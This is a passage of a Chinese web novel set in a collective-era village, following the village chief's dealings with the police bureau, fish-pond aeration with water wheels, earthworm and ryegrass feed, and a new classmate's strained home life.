也是多亏了这些知青，一天到晚的整些破事出来让他断案，不然他还不知道自己嘴皮子能这般利索，以前傻啦吧唧的钟强先终究不复存在了。 他现在跟钟伟先一样，也是个聪明人了。 白手套也被他这一连串的话术给惊到了，心想你要是老实巴交的农民，那就没人不老实了。 老实人会想到咸菜加工厂还能加工别的菜，甚至为了一碟醋包了一盘子饺子？ “钟家岗咸菜厂？” “对对对，领导您也听过我们厂的名字啊？要不是今天走的急，我高低带两坛子咸菜来给您尝尝，我们村的咸菜在本地说第二，没人敢当第一。” 白手套摆摆手：“带来我也不能收你的，那属于贪污受贿，性质很恶劣了。” 钟强先轻轻拍了两下自己的嘴巴：“你看我这嘴，老是说错话，该打该打！” “你们村的咸菜确实挺有名的。”白手套吃过，他媳妇买的，他家里现在还放着几坛子呢。 “这个电话我可以破例让你打，但是……”他话锋一转：“如果你们养殖成功，村里产的咸鱼要优先供应我们局里。” “合规的情况下，鲜鱼我们也能回收。” 跟谁采买不是买，如果可以，白手套更愿意扶持他们当地的产业。 钟强先被这偌大的惊喜给砸的有点晕头转向了，对方不仅愿意借电话给他们用，甚至还提出要收购他们村的产品，这是天大的好事啊。 “领导，放心吧，到时候就算我们村里没鱼吃，也不会让局里的干警们没鱼吃的。” 他反应过来，立马就答应下来了。 “您都不知道，之前你们打拐，解救了多少孩子，提起这事，村里就没人不竖起大拇指的！”钟强先一边说，一边竖起了自己的大拇指。 他东一榔头，西一棒槌的，给白手套哄的脸上的褶子都少了几条。 小郑知青看他的眼神也更加的敬佩了。 “咳咳咳……好了，别说了，不是要去打电话？”再夸下去，白手套都不敢保证自己脸上还能一直维持严肃的表情。 黄有德还一直说自己有个老实巴交的姐夫，今天一看，这小子一点也不实诚啊！ 在打完电话走出公安局的那一刻，钟强先重重的吐出一口浊气，牵牛的手都在止不住的颤抖。 除了接电话的时候喊了一声小叔叔之外，一直装哑巴的郑光羽，这会也像是出现医学奇迹一般，他的声带突然又能正常发声了。 “村长，你也太厉害了吧！公安局的领导你都能搞定。”有这么优秀的村长，郑光羽与有荣焉。 “不是我吹，以前我还见过县长，在他面前我都不带害怕的！” 其实就是*吹的，不害怕才有鬼。 但郑光羽是真的信了，光是公安局内的那一场表演，就让他成了钟强先的小迷弟。 他决定，这么伟大的事情，不能只有他自己知道，等回村以后，他要把今天的事说给每一个知青听。 就这样，钟强先在毫不知情下，在知青点又提升了一波威望值。 郑光羽的小叔叔和他关系很好，所以对于钟强先提出的各种问题知无不言，言无不尽。 关于养殖品类、密度、以及鱼食，甚至鱼苗的问题，他都帮忙解答了，还给牵线找了一家研究所，给钟家岗供给优质鱼苗。 他只有一个要求，那就是对他侄子好一点，钟强先自然不会不答应。 听说村长突然办成了这么一件大事，钟莹莹是由内而外的震惊。 不过她又很快平静下来，转头就开始思索，自己能在这个事件中做些什么添砖加瓦的事情。 关于高密度养殖，她第一时间想起的就是打氧问题，尤其是下雨天，养殖密度过大的情况下，特别容易发生缺氧事件，导致鱼类集体死亡。 这个时期又没有打氧机，而他们的地理位置就注定了夏季多雨，该怎么提醒村里人注意这件事情呢？还有就是，这件事情如果发生了要怎么解决才好？钟莹莹觉得，她需要进行更深一步的思考。 第90章 想要增加水体中氧气无外乎两种办法，一种是直接打氧，另一种就是增加水体与空气的接触面积。 前者在短时间内暂时还没有可能做到，后者想想办法还是有方法的。 最传统的方式就是抽放水，最好是用水车，一边抽一边放，抽水的那边，水车把水体高高扬起，与空气的接触面积不要太大。 传统的龙骨水车需要依靠脚踏或者手摇，还有靠水流自动转动的筒车，后者比较省事，但是需要高度差，前者则是适应于各种环境，就是需要依靠人力进行转动，才能通过齿轮或者叶片，将水从低处引到高处去。 钟莹莹这个跟邓荣学机械只学到一半的半吊子自然不会造这些东西，她想到的是远在海市的宋冬宇。 既然他能把家人送来钟家岗，受钟家岗的庇护，那钟家岗的发展，他也该尽一份心力了。 就算不给他们造机械，帮忙改进一下图纸也是好的。 钟家岗有水车，但只有小水车，远远不足以长时间供应两个鱼塘的抽水放水。 鱼塘的抽放水，由高到低，和由低到高两种情况都有，还需要根据具体情况分别设计两种不同的水车。 钟莹莹把想法给钟伟先提了之后，钟伟先什么也没问，就去城里拍电报给宋冬宇去了。 那边回信的速度非常快，但是并没有给出钟莹莹想要的图纸，而是只传递来四个字：姑奶奶，图！ 谁知道他姑奶奶是谁啊？钟莹莹感觉他有些莫名其妙。 钟伟先却是立马就明白了他的意思，给钟莹莹说：“你宋叔的姑奶奶，就是咱们钟家岗那个！” 村里的？姓宋？宋晴芳？那个沉默寡言的老太太，她竟然有这能耐，钟莹莹在觉得自己有眼不识泰山的同时，还怀揣了一丝对她爹的抱怨。 她故意唉声叹气的说：“爹，下次有什么事情，能不能也告诉我一声，我又不会出去乱说！” 干坏事被抓包，钟强先略微有些尴尬，但是让他选，他下次仍然不会告诉闺女的。 言多必失，事以秘成，有些事情知道的人越多越容易失败。 来了县里一趟，就得到这么个消息，父女俩很快又回到了村里。 这次去找宋晴芳时，他们没再避着人，因为这次有足够正当的理由让他们在人前和宋晴芳这个‘坏分子’接触。 “老太太，听说你会画设计图？”钟伟先装作和宋晴芳未曾接触过的搭话。 “谁说的？”宋晴芳像是不认识他一样，回话的态度异常的冷淡。 两个人演的有模有样的。要不是钟莹莹知道实情，恐怕真会被这两人给骗过去。 “麻烦你态度端正一点，上面把你放到我们村是来接受劳动改造的。” 钟伟先在表明来意前，上去先给宋晴芳一顿骂。 宋晴芳也装成真的害怕了的样子，小心翼翼开口道歉：“对不起，我知道错了。” 那畏畏缩缩的模样，像极了被批斗丢过臭鸡蛋的惶恐。 “宋晴芳同志，村里现在有一个任务要交给你，你有信心能完成任务吗？” “我一个老太太，腿脚还不利索，除了给村里喂喂牛，打扫打扫牛粪，还能干什么？”宋晴芳可怜巴巴的问道。 “听说你会画图纸，村里现在修鱼塘需要再造两架水车，一架引水的，一架放水的，你只要回答我，你能不能办到？” “如果你把这件事情做成了，那村里也不会忘记你的功劳。” “等年终审核等时候，村长会向上报告你劳动改造的成果，事成之后给你评一个改造完成也是不无可能的。” 白发苍苍的老太太眼中突然迸发出巨大的光彩，钟莹莹都有些佩服她的演技了。 要知道，这俩人事先并没有排练过，能演到这个程度，足以证明两人都是拿出真心实意的假戏真做。 “这老太婆真的能成事吗？”她除了住牛棚外，看上去和普通老太太也没啥区别。 知青那边对于宋晴芳画图纸这件事持有怀疑态度，他们自己不会画，就认为别人也不会。 “听说是海市来的，没下放之前在学校当老师呢！” “郑光羽，你家不也海市的吗？你认识她吗？” “你知道海市有多大吗？” 郑光羽像是看傻子一样看着问话的知青，那人被他盯的十分不自在，灰头土脸的摸了摸自己的鼻子道：“我就随口那么一问，想着她是老师，没准还教过你呢！” 郑光羽都不想搭理他了，司马昭之心，路人皆知，他这是随口一问还是刻意想看自己笑话，那人心底清楚的很。 宋晴芳是有两把刷子的，答应钟伟先的要求之后，她先是去实地考察了一番，然后有参照了钟家岗原有的小水车，当众画出了了新水车的图纸。 “还真画出来了！走，我们也凑近一点看看！”新知青不搭理他，朱志鑫也不搭理他，王岳只好自己一个人挤到村民中间，去看宋晴芳画出来的图纸。 用小孩作业纸还有铅笔制成的简易图纸，就算是王岳这个外行，也能看出这个图的专业性。 他又蔫吧了，怎的一个二个都那么有能耐，连个坏分子都比他有本事，他还能干什么事啊？除了养鸡，他啥也不会。 王岳一反常态的、丧丧的回了知青院，生无可恋的躺在自己床上，一动不动。 被留在牛棚跟前的其他知青，都是一脸不可置信的样子：“他这是怎么了？”这是有人在问朱志鑫。 朱志鑫没好气道：“我怎么知道？”他都跟王岳闹掰多久了，怎么他的事还拿来问自己？ 王岳不刺他们两句，他们还怪不习惯的。 王岳的心情，除了知青们没人关注，很快，连知青们也不在关注他。 他们的注意力也转移到了钟家岗新造的水车上面，那可是个大家伙。 一架水车上面的滚轮造的又大又多，和知青们见过的初版图纸对比，显然是又增添了许多新的设计。 “我来试试！” 帮助养鱼的家伙事，就是来帮助他成就事业的，所以郑光羽也不胆怯了。 他迫不及待的第一个站到水车边上，摇起了把手，只见他轻轻一推一拉，鱼塘的水面就激起层层水花，他情不自禁感慨道：“这也太省力了吧？就算换个七八岁的孩子都能推动。” 其他知青一听他这话，本来对做苦力没啥兴趣的，这下也挨个排队，要过去试水车。 “真的很省力。” “可是这又有什么用呢？其他水车不是一样的能够能用吗？干嘛要花这么多时间，搞这家伙？” “这你就不懂了吧？吃代用粮饼子也能活，吃白面馒头也能活，都是一样的不会死，让你选，你选白面馒头还是饼子？” “那必然是白面馒头啊！我又不傻！” “你说你不傻？那能有更省力的工具，谁愿意使费力的？” “我……”刚才还说他自己不傻的知青，支支吾吾的说不出话来了。 一切都准备就绪，村里的鱼苗终于进场了，一尾尾鱼苗被放进水里，村里人严格按照郑光羽小叔叔给的指导建议进行饲养。 他们最常干的就是割一些草还有挖一些蚯蚓来喂鱼。 草容易割，但是蚯蚓挖能挖多少？ 钟莹莹又隐约记起，蚯蚓貌似能人工养殖的，而且养殖难度不高，也不需要什么成本。 就是回忆这个养殖方法的时候，略微有些让人反胃。 她本来就十分害怕或者说恶心这种肉色光滑又会蠕动的生物，现在却让她努力的回忆之前见过的养殖过程，包括每一阶段蚯蚓的状态，着实是有些残忍。 好在皇天不负有心人，她终于在开学返校前，回忆起了全部流程。 “你这都哪学的？怎么小方法一套一套的？”钟伟先感觉自己老了，已经要被淘汰了。 现在的孩子已经进化到这种程度了吗？连养殖都能比他这个干了几十年农活的农民知道的多，一上来啥也不说，直接一套完整的流程就掏出来展示了。 钟莹莹眨巴眨巴眼睛：“书上看到的！” “什么书？回头我也买了学学！” “看的书有点多，记不清了！” “咋能记不清了呢？你这孩子，怎么到关键时刻掉链子了？”钟伟先有些着急。 钟莹莹：“反正爹你多看书就对了，多看书总有一天能看到的！”啥时候能看到就不一定了，等几十年后，等有手机了，一搜就能搜出来。 “我上学去了，爹，剩下的事情就交给你了！我等着放假回来吃鱼呢！” 钟绍华拉了牛车，在家门口正等着呢。 现在认识去市中的路了，俩孩子不用大人护送，也能坐火车去上学了。 票仍旧是买的卧铺票，光是购买资格这一门槛就卡掉了太多鱼龙混杂的人。 所以家里就算是多出些钱，也想让她们更为安全的到校，该省省，该花花，钱就该花在刀刃上。 刚一到校，收拾好东西，还没开始上课，就听说她们班有插班生转进来了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 “同学们，让我们鼓掌欢迎新同学！” 随着班主任的发号施令，讲台下稀稀落落的响起一些掌声，伴随着掌声，新同学走进教室。 新同学是个男生，鼻梁上挂着一副黑框眼镜，年纪不大，小脸嫩白，但表情看起来却老成的比成年人还像成年人，不知道是装的，还是真的性格如此。 “大家好，我叫余嘉祥，是从北市转学过来的，希望未来两年半能和大家相处愉快！” “好了，嘉祥，钟莹莹那边有个空位置，你就去那里坐吧！”欢迎仪式结束，任课老师要来上课了，班主任给余嘉祥指了指钟莹莹的方向，就这么安排了他未来两年半的座位。 余嘉祥伸出食指扶了下有些下滑的眼镜，和班主任道谢后，淡定的走向班主任给他安排的座位。 第一排，还在最中间，这个位置其实不大好，因为有些老师爱喷唾沫星子，而且这里很容易吃到粉笔灰。 钟莹莹坐在这里，一是因为她年纪小，班主任对她的特殊照顾。 二是因为没同学愿意坐这里，跟钟莹莹一个班的祁绮都抛弃她跑到后桌坐去了，钟莹莹只能一个人占据了两个座位。 余嘉祥和她成为同桌，主要原因和钟莹莹一样，俩人都是十二岁，虽然性别不同，但是这个年纪，要不是读书读的早，没准在家里还撒尿和泥巴呢，所以班主任很放心的让他们男女混坐了。 比起让两个年龄远低于班上其他同学的学生和其他人做同桌，班主任更放心让他们俩待在一起，就算闹矛盾，俩小屁孩，也掀不起什么波澜，要是跟班上其他年纪大的同学闹起来了，人家一胳膊肘就能给这俩杵地上去了。 班主任为了他们的人身安全，也是煞费苦心。 “你好，同桌。”余嘉祥放好书包，一本正经的和钟莹莹打招呼。 钟莹莹：“你好！” 总感觉哪里奇奇怪怪的，班里貌似混进来一个……额，无法评价的老古板。 这么正经的打招呼，是正常同学能做出来的举动吗？ 后面钟莹莹发现，她的新同桌的怪异举止远不止于此。 这孩子有洁癖啊，每天语文老师在讲台唾沫飞扬的时候，他都面色铁青，一副自己已经忍了很久的样子。每天值日生擦完黑板，他还会用湿抹布再给黑板擦一遍，就是为了上课的时候能少吃一点粉笔灰。 但不知为何，他都这样难受了，也没见他去找班主任提换座位的事情，就这么喜欢这个第一排的位置吗？ 钟莹莹要不是个头矮，早就搬着自己的小板凳去后面坐了。 他们班上的同学也不知道吃什么长大的，一个个都人高马大的，女生都一米六一米七的个头，男生更有长到一米八的，还是市里人营养好，在县里的时候，班上同学都没见有这般高的。 钟莹莹刚刚一米五，在人群中就显得海拔有些低。 余嘉祥比她强点，好歹快一米六了，不坐第一排，往后顺延一排应该没问题，那为啥这个人不换呢？ 余嘉祥也想问问自己到底为什么没去找班主任换位置，是自尊心作祟，还是其他别的原因？他不清楚。 人家女同学都能在这个位置上坐的好好的，他不相信自己不行。 同样的年纪，面对困难，他要奋勇前进，不能激流勇退。 于是高一年级最为别扭奇怪的一对同桌就诞生了，说他俩不熟吧？俩人天天上课坐一起，说他俩熟吧？一天到晚都说不了几句话。 祁绮坐在钟莹莹后桌，没事唠嗑的时候，钟莹莹更多的是回头去和她闲聊。余嘉祥在班上跟其他人都不太熟，理所当然的就成了一个闷葫芦。 很快，到了开学后的第一次摸底考试。 考完试余嘉祥整个人的状态就变得不一样了，等到快要出成绩的时候，钟莹莹仿佛看见他身后出现了一条隐形的尾巴，那尾巴一甩一甩的，好像要翘到天上去了。 “余嘉祥，老师这次要好好的表扬你一下，刚转学过来就能考到第一名，非常好！”班里又添一员猛将，班主任乐的嘴角上扬的角度怎么压也压不住。 余嘉祥表面镇定自若，实在心中情绪早就像炸开了锅一样。 班主任念完每个同学的分数和名次后，卷子也发回到了他们手里。 余嘉祥：“同桌，你考多少分？” 钟莹莹：“没你高！” 钟莹莹在外语方面始终是弱势了些，她不止一次的感慨，要是考的是英语就好了，考英语她准能拿满分，现在考那该死的弹舌音，听着就让人头痛。 “我看你卷子了，你其他科目都不弱，就外语有点不行，要不……我帮你补补？” 在以前的学校，余嘉祥考了第一名都会有其他同学过来恭维他，可是现在在市中，没人知道他的身份，他的年纪又小。其他的同学没那个脸去围着一个比自己小好多岁的同学转。 他心里的小心思无处释放，只能暗戳戳的过来勾搭钟莹莹，想把钟莹莹培养成他的小跟班。 “谢谢！暂时不用！”钟莹莹觉得她的分数还够用，只要正常发挥，考省内的大学没问题的。 她又没有很高的志向，说一定要考取全国顶尖的院校才行。 她的目标就是拿个普通院校的毕业证，回老家的机关单位当个普通小职员，苟过这几年再说。 人生重在摆烂啊，怎么样活都是活，为什么不让自己活的更舒服一些呢？ 重活一世，再卷就没意思了。 对于余嘉祥隐晦的炫耀，钟莹莹只当他是小孩心思作祟，她心里年龄可比他大多了，压根不在意这小屁孩的套路。 余嘉祥心有不甘，但又拉不下脸继续纠缠，只能小声嘟囔：“怎么会不用呢……成绩多提高一分、高考就能多干掉一群人，要是多提高十分，都够换一个档次的学校了～” 得亏钟莹莹没听清他在嘀咕啥，不然指定会认为他生不逢时，这不后世能当优秀班主任的材料嘛！鞭策学生的话术一套一套的，没见识过这一招的，还真容易被忽悠到。 余嘉祥没勾搭上钟莹莹，班上其他同学他也不抱有希望了。 年纪小的都没成功，年纪大的老油条怎么可能成功？这个学校、这个班级真的奇怪的很！竟然有连提高成绩也不在乎的人！ 余嘉祥最在乎的就是自己的成绩了，成绩就是他的脸面，成绩单上的数字不好看，他会没脸见人的。 今天轮到祁绮值日，钟莹莹和她们另外两位室友都留在教室里一块帮祁绮搞卫生，想早点弄完一块回去休息。 余嘉祥有些不死心，还是想问下钟莹莹要不要加入他的学习小组，跟他一块学习。 等他调转方向回教室的时候，发现教室里人有点多，又默不作声的走了。 “他回来干嘛的？”几个女生面面相觑。 “不知道啊，可能是有什么东西忘拿了？”余嘉祥是走读生，在整个市中都是特例，因为在他之前，市中低年级到高年级整个都是封闭式教学的。 “忘拿东西怎么看了一眼就走了？” “难不成是小男生脸皮薄，不好意思了？”宋悦这个有对象的老手想的比钟莹莹几个单纯娃子要多些。 十几岁的小男生正是情窦初开的年纪，如果是这样的话，那这个余嘉祥开窍的有点太早了！ 没有证据的事，宋悦也不想妄自揣测，她更不会把无厘头的猜测讲给别人听，八卦的传播速度是很快的，万一猜错了，那给同学名声造成的不良影响是没办法补救的。 其实宋悦还真猜错了，那余嘉祥一门心思收小弟，哪有什么花花肠子。 慌里慌张跑走的余嘉祥，在回家的路上止不住的脸热，心中暗道：好险！差一点就要被人发现他想做什么了！ 等到家门口时，他脸上的热意才全部散去。 拿出钥匙正要开门的时候，屋里传来一阵稚童的欢声笑语，同时还有年轻女人和中年男人宠溺的笑声，余嘉祥的动作有一瞬间的停滞。 他插入钥匙，拧动把手，下一秒‘砰’地一声重重推开门，屋内的各种声音都戛然而止。 女人率先反应过来，走到余嘉祥身边，温柔的道：“嘉祥回来了啊，在学校上了一天学该累了吧！把书包给阿姨，厨房里炖了汤，给你留了一碗，你先过去吃饭吧！” 她伸出手正要去接过余嘉祥的书包，却被他给躲了过去。 余嘉祥面无表情道：“不用了，我不饿！我先上楼休息去了！”看见这仨人他就恶心，哪里还有心思吃饭。 之后他更是看都没看沙发上的男人一眼，径直背着书包回自己房间去了。 他关门前，还听到那女人假惺惺的问男人：“华容，嘉祥不吃饭能行吗？要不我一会儿给他端上去吧！” 余嘉祥听见男人冷哼一声：“不用管他，既然他不吃，那就是不饿！” 关上房门，余嘉祥背靠着房门，身子慢慢滑落，整个人靠着门坐在地上，双手抱着自己的膝盖，头埋在臂弯里，良久，他抬起头，自我嘲讽道：“余嘉祥，你怎么还会对那种人怀有期待啊？你对不对得起你娘啊！” 第92章 余嘉祥本想着自己不看不想，见不着那三个人，总不会想起伤心事。 但是他不去找麻烦，麻烦却主动找上门来了。 那女人带着那肥猪儿子，一下下的敲他的门，声音之大，让他无法忽略。 余嘉祥心想，这个家他恐怕不能够再待下去了，不然的话，他害怕哪天一冲动，掂把刀，把外面那三个人都给刀了。 他深呼吸好几次，终于平息内心的怒火，心平气和的打开房门：“有事？” 那女人仔仔细细看了他好多眼，没在他脸上看到她猜测的表情，余嘉祥清楚的看见她的脸上满是失望。 不过她表情调整的速度很快，几乎是瞬间就调整了过来，又恢复了那副温温柔柔的模样，余嘉祥看在眼里，只觉得她会演的很，也怨不得那个眼瞎的男人能一次又一次的中招。 “嘉祥，你弟弟看你没吃晚饭，就想着来给你送碗汤！” 那女人推了她的大胖儿子一把，她那大胖儿子才不情不愿的把汤端到余嘉祥面前，艰难的挤出一个笑来：“哥哥喝汤！” 回应母子俩的是面前的实木门在打开还没两分钟后，又砰的一声又关上了，屋里还传来不耐烦的声音：“都说了我不喝了，这汤你让余小胖喝吧！” 余嘉祥害怕喝了这汤会把自己毒死。 “娘，他都说了他不喝了，你非让我过来送！”大胖儿子话语中满是抱怨。 “人家不乐意喝，你给我喝不行吗？”说着，大胖儿子端起手中的汤就要一饮而尽。 女人直接伸手打掉汤碗，激动的阻止道：“不行，这汤你不能喝！” 大胖儿子傻眼了，他脑子不好，没想到其他的，只觉得他娘偏心，连口汤都不愿意给他喝。 这胖子哇的一声哭了出来，边哭边生气的嚎：“娘你偏心，你给哥哥炖汤不给我炖汤，哥哥不喝的汤你也不给我喝，到底谁是你亲生儿子啊？呜哇哇哇哇……” 女人害怕被别人听见，连忙去捂住小胖子的嘴：“别哭了，娘是为你好。” “你该减肥了，医生说你身上的肉再不减，会长不高的！” 大胖儿子又气哭了：“哇～娘你还嫌我胖～我要找我爹～” 女人怕什么来什么，她害怕的就是汤有问题的事情被余华容发现，哪里会让大胖儿子去告状。 “你乖一点，娘再给你炖一碗汤，刚刚那汤凉了，娘才不想让你喝的！” “真的？”大胖儿子有点怀疑。 “真的！娘什么时候骗过你！” “那我现在就想喝，你去给我炖。”大胖儿子不哭了，也不想告状了，只是一味的催促女人给她炖汤。 女人被他给折磨的出了一身冷汗，只能在心底不断的提醒自己：这是亲生的、这是亲生的！ 自己给自己洗脑完毕，她就老老实实去厨房给大胖儿子炖汤去了。 卧室里的余嘉祥听见外面的动静只庆幸自己还好没喝那汤，也不知道汤里被加了什么？是吐了口水，还是放了虫子，抑或是其他更可怕的东西？ 余嘉祥打了一个寒颤，之后立马开始翻箱倒柜的收拾东西。 他要去住校，但他的东西不能便宜别人，值钱的他都要随身带走，不值钱的就锁到柜子里，慢慢搬到他娘留给他的房子里去。 很快，屋里的东西被一件件打包完毕。 因着办住宿还需要那瞎子爹签字，他暂时还不能够和他们翻脸。 “爹，我想搬去学校住，最近的学习比较紧张，两边跑有点来不及。”他一边说，嘴角一边扯出一个很难看的假笑。 余嘉祥心里有些紧张，生怕这个瞎眼的爹不同意他的决定。实在不行的话，他只能去投奔他舅舅，但是他舅舅家情况也不太好，如非必要，他不想麻烦他们。 “去找小王，让他带你去学校办手续。” 余华容已经记不清儿子多久没对他露出好脸了，所以即使在知道他心里有小算计的情况下，依旧同意了他的请求。 他不在家待着也好，也能和琬欣少些矛盾，等他长大了，成家立业后，应当就能明白他这个当父亲的苦心了。 余嘉祥没想到事情会进展的这般顺利，这下他的笑容不再是假笑，而是发自内心的灿烂笑容。 余华容见他笑，自己眼里也露出一丝不易察觉的笑意，他这儿子再少年老成也终归还是个孩子啊。 小王的动作非常快，余嘉祥的住宿手续也就拿到学校签了个字就办成了。 “我不喜欢有人进我房间，我的房间我锁住了，你最好不要让那个女人还有那个胖子进我房间！” 得到自己想要的结果后，余嘉祥立马给余华容表演了一波变脸。 余华容被他气了个倒仰，他被气的都有些口不择言了：“他们进你房间做什么？你房里有大宝贝啊？” 这是把琬容和他弟弟当成什么人了？ 班上男生的宿舍都满员了，余嘉祥‘只好’单开一间宿舍，独自居住。 对此学校对外的说法是，每个年级的年级第一拥有自主选择宿舍的权利，前提是学校还有空余的宿舍，那他们可以选择自己住单间，也可以选择和同学一起住集体宿舍。 条文一出，班上的同学都对余嘉祥多了几分关注。 “嘉祥，住单间舒服不？” “那不指定很舒服吗？单间又没人磨牙打呼噜放屁。”一位被室友的屁声折磨许久的男同学声音中带着很深的怨气，看他眼眶上大大的青黑色，就知道他苦室友久矣～ 钟莹莹也有些想要住单人宿舍，但是第一名需要学那该死的弹舌音，而且她也舍不得寝室里三位可爱的室友，所以她只能‘勉为其难’的继续住集体宿舍了。 钟莹莹最近贿赂了门卫，出校去市图书馆查了有关水产养殖的资料。 市中那俩门卫记得她，正好有一人休假，就借口钟莹莹是他们亲戚，把人给带出去送到市图书馆去了。 这个年代的相关资料不太多，好在钟莹莹找的不是具体的养殖方法，而是关于鱼草的相关资料。 她记得，黑麦草就是五六十年代引进来大规模种植的，因为它生长快，适口性还好，所以主要被应用于南方地区的冬季牧草。 黑麦草不仅能够投喂牲口，还能当作鱼类的陆生饲草。 村里的各种杂草野菜之类的确实很多，现在应该蚯蚓养殖也开始做起来了吧？但他们还缺乏一种主要的饲草，冬季鱼类进入休眠期，不吃东西没关系，等到春天，冰水融化，那他们会大量进食，补充养分，就村里那些嫩苗苗哪里够吃。 还是得准备些专用的饲草以备不时之需。 钟莹莹的小本子上记满了密密麻麻的笔记。 余嘉祥对他这个神出鬼没的同桌感到有些好奇，自己能够自由进去学校是借了他那死鬼老爹的面子，他这个同桌又是怎么做到的？ 他自认为是个正直的人，做不到为了给自己解惑跟踪女同学，但是他又想弄清楚缘由，便直接开口问钟莹莹：“同桌，你每天是怎么出学校的？” 钟莹莹对余嘉祥这个特权阶级知道她进出学校的事丝毫不稀奇，她随便捏造了一个理由：“学校有我家亲戚，家里有事找我，我去他家了。” “啥事？你笔记上的事吗？” “对！” “你是想找黑麦草？那你找我啊！我能弄到种子！” “你？”他俩非亲非故的，余嘉祥为何要帮她？ “我家里有人你知道吗？”余嘉祥神秘兮兮的伸出手向上指了指天。 “知道，可你为啥帮我？” 钟莹莹不相信一个平常基本不咋交流的同学，会莫名其妙的的帮助自己，世上哪来那么多老好人。 “我给你找种子，你给我当跟班如何？” 做为一个立志要做出一番事业的男人，身边哪能没有几个能人，他看他同桌就挺适合的，也就比他笨了那么一点点，跟他一样年少有为，完全够当他跟班的了。 “一言为定！”有现成的种子，不用自己花功夫去找，当跟班就当跟班，这个跟班最后要怎么当，不还是自己说了算。 要是余嘉祥是想欺负人，那她包翻脸不认人。 就这样，在余嘉祥的帮助下，或者说，在他借用他瞎子爹名头的帮助下，一批黑麦草的种子被运到了钟家岗。 而且余嘉祥这个坑爹的，还没收费用，到处嚷嚷着要造福农民。 亲生的，余华容又能怎么办，好在那些种子价格不高，余华容自己的私房钱就足以填上这个窟窿。 等他办完事情，想去学校找这个儿子麻烦的时候，学校已经放暑假了，他那个儿子早就从小王那里哄了介绍信，跟他同学一块去了乡下。 余华容气急败坏的骂道：“逆子啊！也不怕遇上骗子！” 冷静下来他又开始担心余嘉祥的安危，他自己不好离开市里，只好吩咐小王戴罪立功，去钟家岗找余嘉祥，没事的话就让他在那玩几天，如果有什么不对劲的地方，绑也要将那小子给绑回来。 余嘉祥不是自己一人跟着钟莹莹她们回钟家*岗的，他还带上了他表哥。 根据他同桌描绘的蓝图，余嘉祥认为钟家岗大有作为，所以把他表哥也带上了，想看看能不能借着钟家岗帮他舅舅家摆脱困境。 第93章 “嗬～同桌，你们村的这路修的真不错啊！” 还没进村，余嘉祥就被眼前的一幕给震惊到了。 钟家岗不同于以往他见过的任何一个村子，干净整洁的煤渣碎砖路，虽然比不上城里的路平坦美观，但是人走上去，下雨天也不会把泥巴粘到脚上，导致步履维艰，而且村里一点垃圾和异味都没有。 最重要的一点，村里的小道边种了很多的果树，有些上面正挂着成熟的果子，比如桑葚，紫红色的果子看上去就万分诱人。 余嘉祥咽了咽口水道：“你们村都没小孩的吗？” 他话音刚落，几个七八岁的孩子就从他面前跑过去了。 余嘉祥不解，为什么钟家岗树上的果子都熟了，也没人摘，孩子们也不偷？ “你们要吃吗？”来者是客。 余嘉祥帮了她们村一个不小的忙，钟莹莹自然要好好招待他。 因为这些果树种植的年限不算长，所以枝丫普遍都不算太高，钟莹莹伸手就能摘到果子。 她扯过一根桑葚的枝条，从上面摘了一颗红的发紫的桑葚，仔细检查了一番，确定上面没有什么奇怪的小生物后，把桑葚丢进嘴里，就这么洗也不洗的吃掉了。 “啧……真甜～” 尝了一下，确定桑葚已经成熟，且味道不错，她又拽过来几根枝条，摘了几片桑葚叶子放在手心里，然后飞快的摘了一捧桑葚包在叶子里，递给余嘉祥和他表哥。 “真的可以吃吗？不会吃了之后被人……”余嘉祥有些迟疑。 “能吃，没毒，村里也不抓，只要不浪费，孩子们可以随便吃。”钟莹莹知道他在想什么，在他还没把心里的想法说出来之前就打断了他。 钟莹莹：“我们村人少，生的小孩也少，各个都很金贵。” “果树种出来就是给村里人吃的，大人小孩都能吃，但是不能贪多，太贪心的话村长还是会骂人的。” 一棵树的果实就已经足够很多人吃了，钟家岗乱七八糟的，什么都来了一点。 为了不下同桌的面子，余嘉祥告诫自己，不干不净，吃了没病，反复给自己洗脑了多次后，他学着钟莹莹的样子，也不洗，直接把桑葚丢到嘴里，艰难的嚼了起来。 刚嚼第一口他就眼前一亮，直接忽略掉一开始的不情愿，口齿不清的赞叹道：“真的挺甜的，你们村的待遇可真好！” 他爹的单位发福利都不见得有这么大方，多好的果子啊，随便吃。 俩人聊天时，余嘉祥那个表哥就像个背景板一样，一声不吭。 但他手上的动作一直没停。 余嘉祥：“你们村的鱼塘搁哪呢？”表哥（嚼嚼嚼） 余嘉祥：“那个黑麦草你知道种的怎么样了吗？”表哥（嚼嚼嚼） ……表哥（嚼嚼嚼） 对于他的问题，钟莹莹有的能答上来，有的就答不上来了，比如黑麦草种的怎么样，她一直在学校，也就这一次，跟余嘉祥他们一块，才刚回村，她怎么知道种的怎么样了。 好在，很快就有人带着村长来解救她。 楚秀秀和余嘉祥不太熟，她感觉有点尴尬，所以一开始就先进村，找村长钟强先去了。 “两位小同志，招待不周，招待不周啊～”钟强先的应酬能力现在是越来越强了。 以前遇上个外人，他就可能支支吾吾说不出话来，现在见到两个第一次见面的陌生人，他竟然能直接上来抓住人家的手寒暄。 余嘉祥有些不太习惯和陌生人肢体接触，他微微用力想要拿回自己的手，使了两次劲都没拽回来，他嘴角抽了抽问道：“你是？” 钟强先一拍脑门，忘了自我介绍了。 “我是钟家岗的村长，叫钟强先，你喊我强先叔就行！” 钟强先这几年因为知青的事情，心力交瘁，整个人都苍老了不少，这会儿一笑，脸上的皱纹堆叠在一起，活像一朵盛开的菊花。 “村长好！”余嘉祥很有礼貌的问好，并且倔强的拒绝了钟强先让自己喊他叔的建议。 钟强先不在意这些，称呼什么的都无所谓，面前这个金娃娃，可是免费给他们村提供了一批县里都没有的种子，也不知道他这次来，会不会再给村里带来什么。 这些领导家的公子哥，指不定就能给他们村带来一些订单呢。 因为这些想法，钟强先在面对余嘉祥还有他表哥的时候，表现的态度非常殷切。 得知两人想去看村里的鱼塘还有种植的黑麦草，钟强先大手一挥，就带着人直奔草场而去。 三人看黑麦草去了，钟莹莹顺利退场，刚回村，她想先回家歇歇脚，黑麦草在地里又不会跑，什么时候看不行？也就余嘉祥那个没见过世面的，急的像热锅上的蚂蚱一样，非得先去看草。 “种植黑麦草的场地原先是我们村的荒地，里面都是些碎石头还有杂草，土也不太好，长不出庄稼，只长杂草，所以没人种。” “要种黑麦草，我们就把这地收拾出来了，这样既不占用正常的土地，影响到交公粮，村里也有了鱼草，能给鱼塘里的鱼提供足够的食物。” 钟强先不光带着两人逛，嘴里还不断的讲解着。 